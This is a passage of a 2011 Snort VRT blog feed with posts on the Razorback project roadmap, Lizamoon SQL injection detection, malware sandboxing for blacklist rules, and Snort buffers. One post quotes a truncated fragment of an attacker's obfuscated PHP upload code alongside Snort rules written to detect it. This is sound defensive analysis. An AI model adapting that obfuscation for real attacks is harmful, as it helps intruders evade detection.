both&amp;nbsp;caching&amp;nbsp;and queueing services to ensure that we get data off of collectors as quickly as possible. &amp;nbsp;The queueing approach reflects the non-interactive nature of the collector-dispatcher-detection architecture and provides support for horizontal scaling.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Database improvements -- I did the database schema which means two things: &amp;nbsp;1) &amp;nbsp;Its wrong and 2) Someone else needs to fix it. &amp;nbsp;We're going to work on building out a database interaction that is implementation agnostic. &amp;nbsp;We should support more than just&amp;nbsp;MySQL. &amp;nbsp;The schema needs to be normalized to the maximum extend possible while ensuring it still supports enterprise-specific needs. &amp;nbsp;Also, we need to move to UTF-8 to support international language sets.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;API -- The API is going to be updated to support high-latency detection by returning to the dispatcher a deferred response. &amp;nbsp;This means that the nugget will take a while to process and the dispatcher should check back. &amp;nbsp;One example would be submission to a web-based analysis front end. &amp;nbsp;The nugget would store the information necessary to return to that site later in the dispatcher. &amp;nbsp;The dispatcher would manage a queue of deferred detection so any compatible nugget can pull from the queue and query the website to see if the response is ready.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Scripting -- So I was jacking around with Maltego and I built some custom database connectors. &amp;nbsp;The way they allow this is you call something and pass arguments via stdin and then return results via stdout and stderr. &amp;nbsp;It is genius in its simplicity and ease of&amp;nbsp;implementation. &amp;nbsp;This allows us to provide scripting support under any language provided they accept and return data in well-formed blocks. &amp;nbsp;This is actually one of my favorite updates and should help response teams rapidly roll out detection.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Data storage -- We store the binary data blocks in the relational database. &amp;nbsp;There are many ways to describe this practice, but the way Watchinski (our boss) described by somehow simultaneously rolling his eyes, laughing like a hyena and demanding we fix it. &amp;nbsp;As it works out, this was my idea. &amp;nbsp;So we're looking at a number of solutions for data storage from the mundane (FTP, HTTP) to the exotic(ish) NoSQL and&amp;nbsp;map-reduce&amp;nbsp;sort of things. &amp;nbsp;This is a key research area because we want to allow searching of files to find indicators of compromise, etc... &amp;nbsp;This change will also affect how we submit data to the system, so we aren't clogging up the dispatcher with huge blocks of data while we wait for processing.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Scalability -- This is a late-year&amp;nbsp;requirement, but we want to go huge with wide sets of dispatchers and deep sets of detection. &amp;nbsp;There isn't really a timeline for this, but development is going on with an eye towards this requirement.&lt;br /&gt;&lt;/ol&gt;&lt;p&gt;So...that's our small list of things we're up to. &amp;nbsp;We're working on two-to-four-week development cycles and we will be releasing stable (for some value of stable) tarballs each quarter. &amp;nbsp;The Q2 release is already being built and currently is in trunk. &amp;nbsp;The Q2 dev cycle is laid out like this:  &lt;p class="item"&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;Implement and prove end-to-end data transfer via the queueing system and updated API &lt;p class="item"&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;Implement and prove database and local and global caching systems that relate to datablock handling &lt;p class="item"&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;Architect&amp;nbsp;and implement the response capability for detection nuggets including alerting and data block judgement &lt;p class="item"&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;Provide preliminary support for large data-block transfers to dedicated file storage and notification to detection systems to pull the block instead of getting it over the queue  &lt;p class="note"&gt;&amp;nbsp;Don't go for tea now, we're almost done. &amp;nbsp;You can do it!)  &lt;p&gt;We've finished phase 1 and are working on design and testing requirements for phase 2. &amp;nbsp;Our goal is to have all of these completed by the end of June. &amp;nbsp;Phase one uses ActiveMQ and the Stomp protocol to manage data transmission and command and control. &amp;nbsp;This allows us to use the ActiveMQ authentication system so that nuggets can not communicate to the system unless they have the proper credentials. &amp;nbsp;Routing is also functional now, with multiple data types routing to multiple application types. &amp;nbsp;We also now support the "any" data type so that a nugget will receive any data that is provided to the system. &amp;nbsp;This supports logging nuggets and anti-virus solutions.  &lt;p&gt;Well, that is where we are and where we think we're headed. &amp;nbsp;We'll let you know when we have an RC for the Q2 release, and as we flesh out specific requirements for future releases we'll provide those as well. &amp;nbsp;In the meantime, checkout the outstanding documentation provided by Mr. Tom Judge, our newest developer and total svn ninja. &amp;nbsp;It lays out everything you need to know about the code currently being worked on in trunk. &amp;nbsp;You can find it at &lt;a href="https://sourceforge.net/apps/trac/razorbacktm/"&gt;https://sourceforge.net/apps/trac/razorbacktm/&lt;/a&gt;.  &lt;p&gt;This is an open source project, if you want to contribute code either in the form of nuggets or other functionality, we welcome your participation. &amp;nbsp;If you have a question or comment about either participating in the development of the project or the project road map&amp;nbsp;hit the mailing list, we'd love to hear from you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3679979916282797234?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://sourceforge.net/projects/razorbacktm/' title='Razorback Roadmap and Status Report'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3679979916282797234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3679979916282797234' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3679979916282797234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3679979916282797234'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/05/razorback-roadmap-and-status-report.html' title='Razorback Roadmap and Status Report'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6508719770776258785</id><published>2011-04-05T14:42:00.000-04:00</published><updated>2011-04-05T14:42:14.732-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Lizamoon attacks and generic detection</title><content type='html'>You've probably heard by now of the "&lt;a href=http://isc.sans.edu/diary.html?storyid=10642&gt;Lizamoon&lt;/a&gt;" attacks, a rapidly spreading bit of SQL injection named for the domain that hosted the script dropped onto a variety of pages across the web. While not a particularly interesting attack from a technical perspective, it's hit enough hosts to be a nuisance, and to get IT managers up in arms about protecting against it.&lt;br /&gt;&lt;br /&gt;The good news for anyone running a Sourcefire/Snort box is that, if you've paid attention to this blog in the past, you're already covered. SID 13989, which I referenced in my "&lt;a href=http://vrt-blog.snort.org/2010/05/known-unknowns-dont-do-that-rules.html&gt;Known Unknowns: The 'Don't Do That' Rules&lt;/a&gt;" post last May, is the rule you want to make sure is enabled. Originally written to deal with SQL injection attacks similar to the &lt;a href=http://www.threatexpert.com/report.aspx?md5=476cefa4ca9ec2e9e9e39d7cf1060432&gt;Asprox&lt;/a&gt; trojan, it has the handy benefit of picking up a number of different SQL injection attacks that are being obfuscated via use of the char() function (which is &lt;a href=http://stackoverflow.com/questions/3788080/attack-on-asp-site-that-uses-a-sql-server-database&gt;exactly how Lizamoon works&lt;/a&gt;). Given the lack of false positive reports from the field, and its apparent usefulness in detecting new attacks, we'll be enabling that rule in some of our default policies going forward.&lt;br /&gt;&lt;br /&gt;In the meantime, SID 18604 will be released in the next SEU to detect the code dropped onto infected web sites. While that rule is less generic, and thus less likely to pick up entirely different families of malware in the future, it should at least keep your pointy-headed bosses happy when they ask if you're safe from this newfangled Lizamoon thingee.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6508719770776258785?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6508719770776258785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6508719770776258785' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6508719770776258785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6508719770776258785'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/04/lizamoon-attacks-and-generic-detection.html' title='Lizamoon attacks and generic detection'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2996349417207143141</id><published>2011-03-29T09:12:00.000-04:00</published><updated>2011-04-07T13:28:32.562-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><title type='text'>Razorback - Whats going on?</title><content type='html'>Its been almost 3 weeks since I joined the VRT and started working on Razorback.  Over that time we have made some good progress with the project and I wanted to share what we have done and what we are going to be working on over the next few weeks.&lt;br /&gt;&lt;b&gt;What we have completed so far:&lt;/b&gt;&lt;br /&gt;&lt;ol style="list-style: decimal inside;"&gt;&lt;li&gt;Subversion repository restructure:&lt;br /&gt;We have restructured the subversion repository in a way that has given us the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The ability to build components separately with minimal cross project dependencies.&lt;br /&gt;&lt;li&gt;The ability to release individual components of the system in separate tarballs, this is geared towards binary package maintainers.&lt;br /&gt;&lt;li&gt;The ability to release a jumbo tarball with all of the razorback components in them for rapid deployment.&lt;br /&gt;&lt;/ul&gt;More information on the new repository structure can be found the in Developers Guide here: &lt;a href="https://sourceforge.net/apps/trac/razorbacktm/wiki/Developers/Repository%20Layout"&gt;https://sourceforge.net/apps/trac/razorbacktm/wiki/Developers/Repository Layout&lt;/a&gt;&lt;li&gt;Integration of all nuggets from the nugget farm project into the main project:&lt;br /&gt;All of the nuggets that where in the nuggetfarm project on SourceForge have been pulled into the main project.  The aim of is is to make it simpler to maintain the official nuggets.  These nuggets are now available in the full release tarball or as individual components.&lt;br /&gt;&lt;li&gt;API Project Improvements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The API has been split out of the dispatcher project to make it easier to maintain.&lt;br /&gt;&lt;li&gt;API library symbol visibility - lots of the other components (disptacher and nuggets) required an un-installed build of the API to be available to them so that they could statically link in a sub library that was not installed; the utils library.  The should allow people to build components much easier if they have installed the system from packages or from the per component release tarballs.&lt;br /&gt;&lt;/ul&gt;&lt;li&gt;New/Improved configuration API. &lt;br /&gt;&lt;ul&gt;&lt;li&gt;We have replaced the hand rolled parser with libconfig (&lt;a href="http://www.hyperrealm.com/libconfig/"&gt;http://www.hyperrealm.com/libconfig/&lt;/a&gt;), which has drastically reduced the time that it takes to add configuration items to components.  &lt;br /&gt;&lt;li&gt;We have also added routines to allow components to use the configuration api to load configuration files that they specify the structure of simply and in a standard fashion. This has allowed us to remove all hard coded configuration items from nuggets and put them into configuration files. &lt;br /&gt;&lt;li&gt;The configuration API now looks for configuration files in the configured sysconfdir by default, the API calls allow you to pass custom search locations in if required.  This means that you no longer have to run every command with --conf=...  which may be a relief to many of you.&lt;br /&gt;&lt;/ul&gt;You can read up on the new configuration API here: &lt;a href="http://razorbacktm.sourceforge.net/docs/api/trunk/"&gt;http://razorbacktm.sourceforge.net/docs/api/trunk/&lt;/a&gt;&lt;li&gt;Doxygen API Documentation: &lt;br /&gt;We have started using doxygen to generate up to date API documentation and publish it to the project website.  Documentation is generated and published every 4 hours for supported branches.  Not all files have been fully documented yet but you can find out about what has been here: &lt;a href="http://razorbacktm.sourceforge.net/docs/api/trunk/"&gt;http://razorbacktm.sourceforge.net/docs/api/trunk/&lt;/a&gt;&lt;br /&gt;&lt;li&gt;Continuous integration testing.&lt;br /&gt;As of the 0.1.5 release we have defined the officially supported platforms to run Razorback on and the architectures that we support for those platforms.  These are currently set out as the following base OS’s running on either i386 or amd64/x86_64 hardware:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Debian 6.0&lt;br /&gt;&lt;li&gt;FreeBSD 8.1&lt;br /&gt;&lt;li&gt;RedHat Enterprise Linux 6.0&lt;br /&gt;&lt;li&gt;Ubuntu 10.04 LTS&lt;br /&gt;&lt;/ul&gt;In order to help maintain compatibility across these platforms and to reduce the amount of times developers spend testing on these platforms we have deployed BuildBot.  BuildBot is a continuous integration system that will run a sequence of actions when an event triggers them.  Currently we have it setup to build every component on every platform after 15 minutes of idle time in the repository after a commit.  In addition to this the system will trigger builds of the API if something that depends on it changes, or of all the things that depend on the API if a change is made to it. You can read more about buildbot here: &lt;a href="http://trac.buildbot.net/"&gt;http://trac.buildbot.net/&lt;/a&gt;&lt;li&gt;System Manual and Developers Guide&lt;br /&gt;We have started writing better user and developer documentation for the system, with the aim of allowing more people to be able to setup and use the system. This information is available on the project wiki:&lt;br /&gt;&lt;a href="https://sourceforge.net/apps/trac/razorbacktm/wiki"&gt;https://sourceforge.net/apps/trac/razorbacktm/wiki&lt;/a&gt;&lt;br /&gt;&lt;li&gt;Nugget cleanup:&lt;br /&gt;We have cleaned up and packaged all of the nuggets so that they are easy to install and simple to configure.  Where applicable we have integrated 3rd party libraries and components into the nuggets to make them faster to install.&lt;br /&gt;&lt;/ol&gt;&lt;b&gt;What's coming next?&lt;/b&gt;Here is a short list of the most exciting features being worked on (in no particular order): &lt;ul&gt;&lt;li&gt;Complete redesign of the dispatcher.&lt;br /&gt;&lt;li&gt;IPv6 Support for inter-component communication .&lt;br /&gt;&lt;li&gt;Encryption support for data passing between components.&lt;br /&gt;&lt;li&gt;API Improvements for none real time processing.&lt;br /&gt;&lt;li&gt;Database improvements.&lt;br /&gt;&lt;li&gt;Data block storage and transfer improvements.&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2996349417207143141?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2996349417207143141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2996349417207143141' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2996349417207143141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2996349417207143141'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/03/razorback-whats-going-on.html' title='Razorback - Whats going on?'/><author><name>Tom Judge</name><uri>http://www.blogger.com/profile/12455914948364141385</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1371189098248400688</id><published>2011-03-03T13:15:00.009-05:00</published><updated>2011-03-07T09:40:56.035-05:00</updated><title type='text'>Attack Obfuscation - Not Just For JavaScript</title><content type='html'>Since his company purchased a Sourcefire IPS setup last summer, I've had a close working relationship with Mickey Lasky, the primary network security analyst at a company (which shall intentionally remain unnamed) that runs a number of public-facing web sites. He sends me PCAPs whenever he runs across something especially weird, and I help him with custom rules in return. Mickey also runs experimental rules for me from time to time, which is quite useful since the network he's protecting is especially busy, and if there's going to be a false positive, it'll show up there.&lt;br /&gt;&lt;br /&gt;A couple of weeks ago, he sent me a particularly interesting set of PCAPs, saying that he'd collected them after discovering that a single, determined intruder was busy dropping malware on the web servers he's watching over by uploading PHP code to them via POST requests. By itself, that's not all that exciting; what I found interesting was the way the attacker had obfuscated the requests. In addition to lots of Base64-encoded data, there were large chunks of code that looked like this:&lt;br /&gt;&lt;pre&gt;$wWfdGw['_HG3uWD_']=Array('ob'    .  '_en'.'d_flus'.  'h');      $kITFJjggfl=Array();&lt;br /&gt;function    HG3uWD($ownentes83)&lt;br /&gt;{&lt;br /&gt;global  $kITFJjggfl;    $rdupmKoww  =    'c'."hr";&lt;br /&gt;$aaSbVPTgxM   =  $rdupmKoww(98) .   $rdupmKoww(97) .'se'  . &lt;br /&gt;$rdupmKoww(54)."4_decode";$postimagistes    =  $rdupmKoww($aaSbVPTgxM('MTA=')).   $rdupmKoww(13)&lt;br /&gt;.' '   .   $rdupmKoww($aaSbVPTgxM('MzM='))   .    $rdupmKoww(35)  .    '%'.    $rdupmKoww(38)&lt;br /&gt;.$rdupmKoww($aaSbVPTgxM('NDA=')) .   ')'  .&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;Since the variable names changed from one POST to another - as did the way the code sliced up underlying strings like "chr" or, in other places, "base64_decode" - the question became, is there any generic characteristic across all of these attacks that could be used to write a rule, which would simultaneously not generate massive false positives on normal traffic?&lt;br /&gt;&lt;br /&gt;What immediately sprung to mind was the odd spacing surrounding the concatenation operators, or "."s. In normal PHP code, string concatenation generally looks like:&lt;br /&gt;&lt;pre&gt;$longvar = $var1 . $var2;&lt;br /&gt;&lt;/pre&gt;...or:&lt;br /&gt;&lt;pre&gt;$longvar = $var1.$var2;&lt;br /&gt;&lt;/pre&gt;There's no rational reason for a human to surround the "." with more than one space on either side, and certainly not a random number ranging up to five spaces on either side. Automated code generators wouldn't do spacing like that either. That led to an easy rule:&lt;br /&gt;&lt;pre&gt;alert tcp $EXTERNAL_NET any -&gt; $HOME_NET $HTTP_PORTS (msg:"WEB-PHP generic PHP code obfuscation attempt"; flow:established,to_server;&lt;br /&gt;content:"|20 20 20 20 2E|"; content:"|20 20 20 20 2E|"; distance:0; classtype:trojan-activity;)&lt;br /&gt;&lt;/pre&gt;The problem with this rule, we quickly found, was that since some of the web sites being monitored allowed code uploads, CSS files ended up heading towards port 80 on the network being monitored. When those files used spaces instead of tabs for declarations, a la:&lt;br /&gt;&lt;pre&gt;.calendar-date-switcher {&lt;br /&gt;&lt;/pre&gt;They matched the initial signature and caused a bunch of false positives, rendering the rule useless for blocking mode.&lt;br /&gt;&lt;br /&gt;Going back to the drawing board, I realized that some of the built-in PHP keywords were never obfuscated in these attacks - in particular, Array(). Since CSS doesn't declare arrays like that, the rule quickly became:&lt;br /&gt;&lt;pre&gt;alert tcp $EXTERNAL_NET any -&gt; $HOME_NET $HTTP_PORTS (msg:"WEB-PHP generic PHP code obfuscation attempt"; flow:established,to_server;&lt;br /&gt;content:"Array|28|"; content:"|20 20 20 20 2E|"; within:200; classtype:trojan-activity;)&lt;br /&gt;&lt;/pre&gt;After 24 hours of testing, Mickey determined that the false positives had been eliminated, and that the rule was still catching the attacker's POST requests, so he turned it on in inline mode. Suddenly the attacks stopped succeeding, and the rule was lighting up his console like a hyperactive pinball machine.&lt;br /&gt;&lt;br /&gt;While this same attacker has continued to look for other ways to drop his code on Mickey's systems, I've reached out to other contacts running large production networks, and found that the false positive rate of that rule is essentially none. Armed with that knowledge, we've released it as SID 18493 in today's SEU. Though it's disabled by default, as are other similar obfuscation-detection rules, we would encourage you to give it a shot if you're interested. It may be that this particular technique is confined to this specific attacker, but since the rule is high-performance and apparently high-fidelity, the risk to reward ratio on it seems favorable to us, just in case.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1371189098248400688?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1371189098248400688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1371189098248400688' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1371189098248400688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1371189098248400688'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/03/attack-obfuscation-not-just-for.html' title='Attack Obfuscation - Not Just For JavaScript'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6872476821304042490</id><published>2011-02-08T17:25:00.000-05:00</published><updated>2011-02-08T17:25:52.700-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware'/><title type='text'>Blacklist.rules, ClamAV, and Data Mining</title><content type='html'>We've received a number of queries recently about the source of the data in the blacklist.rules category. I'm posting the answer here, since it will be of broad interest to the Sourcefire/Snort user base.&lt;br /&gt;&lt;br /&gt;One of the side effects of our 2007 acquisition of the ClamAV project was the VRT gaining access to the ClamAV database. This massive collection of malware, augmented by tens of thousands of unique samples per day from a variety of sources, is a treasure trove of information - assuming you can find a useful way to sift through it all. Thanks to the magic of the VMWare API, I've developed a system that does precisely that, with a focus on network traffic instead of the traditional anti-virus interest in the malicious files themselves.&lt;br /&gt;&lt;br /&gt;The setup starts with some big, beefy chunks of hardware, running VMWare ESXi Server. For each of these machines, there is a single Ubuntu-based VM that serves as a NAT/controller box, and as many freshly installed Windows XP SP2 (unpatched) systems as the hardware can support. The controller systems each run scripts that automatically pull the latest executable samples from the ClamAV database, and then farm them out in a systematic way to the XP systems, following this simple procedure:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Revert XP VM to clean snapshot&lt;/li&gt;&lt;li&gt;Copy malware sample to XP VM&lt;/li&gt;&lt;li&gt;Fork off tcpdump in the background on the controller, with a BPF specific to the XP VM in question&lt;/li&gt;&lt;li&gt;Execute the malware sample on the XP VM&lt;/li&gt;&lt;li&gt;Wait 150 seconds&lt;/li&gt;&lt;li&gt;Repeat step 1&lt;/li&gt;&lt;/ol&gt;Simple as the process seems, it's taken some time to get it running smoothly. At first, we thought RAM would be our bottleneck; as it turns out, disk access time was a considerably more important factor, as the process of constantly reverting machines to a clean snapshot is very I/O intensive. We've had to fine-tune our queue management process, since the rate of growth in new malware samples is outstripping our hardware's ability to process them. Parsing through all of the PCAPs generated by the system required learning, and eventually patching, tshark, the command-line PCAP processing tool from the good folks at Wireshark.org (yes, we submitted the patch back). After a not-inconsiderable amount of time getting everything set up, this system has been happily churning through malicious executables from ClamAV for several months now. &lt;br /&gt;&lt;br /&gt;As the data came rolling in, we knew we'd need to whitelist things out before creating rules from what we saw. Given that all of the network traffic generated by this system comes directly from infected machines, with no human interaction, we figured that the whitelisting process would be pretty straightforward - aside from the occasional ping to Google.com to verify connectivity to the Internet, the initial expectation was that most of the traffic would be command-and-control, or at least talking to clearly not-legitimate systems. Surprisingly enough, however, a huge portion of the HTTP traffic in these PCAPs - which in turn represents the vast bulk of the traffic captured - went to legitimate domains, including thousands of relatively obscure ad servers across the world. Separating these domains from truly malicious sites has been one of the more interesting ongoing challenges in running this system. &lt;br /&gt;&lt;br /&gt;Since the goal is to generate data that's useful for the largest possible number of users, the domains and URLs that make up the end-product rules are those accessed most frequently by our system's infected machines. Looking for the most commonly accessed places has a side benefit of helping to filter out highly transient endpoints and behaviors - the domains and URLs in question are often being accessed thousands of times over the course of weeks or months by our victim machines, and rules that we released last year are still helping users identify and clean out infected machines on their network. As of the Feb. 8, 2011 rule release, we're also including rules for abnormal User-Agent strings generated by our systems, taking advantage of malware authors dumb enough to set the HTTP equivalent of the &lt;a href=http://en.wikipedia.org/wiki/Evil_bit&gt;Evil Bit&lt;/a&gt; as they talk to systems around the Internet.&lt;br /&gt;&lt;br /&gt;In addition to the rules we publish, we're also automatically publishing chunks of raw data from this malware system on the &lt;a href=http://labs.snort.org/iplists/&gt;VRT Labs site&lt;/a&gt; on a daily basis. As a word of caution to anyone considering simply pulling those lists of IPs, URLs, and domains down and adding them to an internal blacklist: your mileage may vary rather drastically. While we do filter those lists, they don't receive the level of human attention and verification that the data going into the rules gets, and consequently they are much, much more likely to contain false positives. As such, we would suggest cross-referencing them with other data sets, or applying other filtering techniques your organization may have, before using them to block data in your enterprise.&lt;br /&gt;&lt;br /&gt;Obviously, there is room for improvement in this system; we know, for example, that there is a lot of malware that will detect virtual machines and refuse to run, or that there is additional data we could be pulling from the PCAPs the infected systems generate. That said, we feel that it provides considerable value to our users as-is, and we will be continuing to work to improve it as time goes on. In the meantime, if anyone has suggestions for us, please don't hesitate to contact the VRT - your feedback is always valuable!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6872476821304042490?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6872476821304042490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6872476821304042490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6872476821304042490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6872476821304042490'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/02/blacklistrules-clamav-and-data-mining.html' title='Blacklist.rules, ClamAV, and Data Mining'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-18361380408997565</id><published>2011-01-10T15:56:00.000-05:00</published><updated>2011-01-10T15:56:35.765-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Magic'/><category scheme='http://www.blogger.com/atom/ns#' term='Functional Not Elegant'/><category scheme='http://www.blogger.com/atom/ns#' term='Buffers'/><category scheme='http://www.blogger.com/atom/ns#' term='Green Curtain'/><title type='text'>In which kpyke looks behind the green curtain</title><content type='html'>From an operations perspective, there is very little that is less useful and more aggravating than vendor magic. What I mean by this is anything that "happens" in the background that you have no visibility into. While many organizations enjoy the simplicity provided by this, when you need to McGyver some solution to a security issue that vendors haven't addressed yet, you just might feel like simply setting fire to equipment that got in your way. Not that I'm endorsing that.&lt;br /&gt;&lt;br /&gt;This is one of the main strengths of open source software. If you know what you're doing, you can uncover all the magic so you know exactly what you're dealing with and you can fix it up if you need to. Snort-wise, one of the things that it does in the background for you is normalize data and put it into various buffers. At one point the list of buffers was fairly small: normalized and raw. At this point you have the following buffers:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="1" cellpadding="4"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;b&gt;Buffer&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Internal Representation&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Notes *&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;normalized&lt;/td&gt;&lt;td&gt;CONTENT_BUF_NORMALIZED&lt;/td&gt;&lt;td&gt;This is the default buffer that Snort matches against. &amp;nbsp;Also contains gzip decoded data.&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;raw&lt;/td&gt;&lt;td&gt;CONTENT_BUF_RAW&lt;/td&gt;&lt;td&gt;Not used often, mainly for looking at non-normalized TELNET and FTP data.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_uri&lt;/td&gt;&lt;td&gt;CONTENT_BUF_URI&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_raw_uri&lt;/td&gt;&lt;td&gt;CONTENT_BUF_RAW_URI&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_cookie&lt;/td&gt;&lt;td&gt;CONTENT_BUF_COOKIE&lt;/td&gt;&lt;td&gt;Config option required to activate cookie parsing.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_raw_cookie&lt;/td&gt;&lt;td&gt;CONTENT_BUF_RAW_COOKIE&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_header&lt;/td&gt;&lt;td&gt;CONTENT_BUF_HEADER&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_raw_header&lt;/td&gt;&lt;td&gt;CONTENT_BUF_RAW_HEADER&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_method&lt;/td&gt;&lt;td&gt;CONTENT_BUF_METHOD&lt;/td&gt;&lt;td&gt;Parsed from header, not normalized.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_stat_code&lt;/td&gt;&lt;td&gt;CONTENT_BUF_STAT_CODE&lt;/td&gt;&lt;td&gt;Parsed from header, not normalized.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;http_stat_msg&lt;/td&gt;&lt;td&gt;CONTENT_BUF_STAT_MSG&lt;/td&gt;&lt;td&gt;Parsed from header, not 